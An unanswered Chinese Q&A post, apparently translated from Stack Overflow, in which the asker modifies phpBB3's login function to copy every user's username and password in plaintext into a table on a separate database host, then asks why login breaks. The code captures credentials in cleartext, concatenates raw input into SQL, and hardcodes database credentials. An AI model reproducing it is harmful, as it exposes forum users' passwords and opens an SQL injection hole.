在其他地方存储phpBB3用户名/ pw

时间:2012-01-18 23:02:07

标签: php phpbb3

如何将phpBB3用户登录信息(用户名/密码)存储在单独的数据库中?我修改了auth.php中的登录功能,如下所示:

function login($username, $password, $autologin = false, $viewonline = 1, $admin = 0)
{
    global $config, $db, $user, $phpbb_root_path, $phpEx;

    $method = trim(basename($config['auth_method']));
    include_once($phpbb_root_path . 'includes/auth/auth_' . $method . '.' . $phpEx);

    $method = 'login_' . $method;

    /*START store user/pass in separate table */
    $user = "username";
    $pswd = "password";
    $db = "db_name";
    $conn = mysql_connect("mysql2.mydomain.com", $user, $pswd);
    mysql_select_db($db, $conn);

    $qry="INSERT INTO userdata (username, user_password) VALUES('$username', '$password')";
    mysql_query($qry);

    mysql_close($conn);
    //END store user/pass in separate table*/

    if (function_exists($method))
    {
        $login = $method($username, $password, $user->ip, $user->browser, $user->forwarded_for);

尝试登录时(使用正确的凭据),我收到此错误: 致命错误:在第67行的/public_html/includes/auth/auth_db.php中的非对象上调用成员函数sql_escape()

0 个答案:

没有答案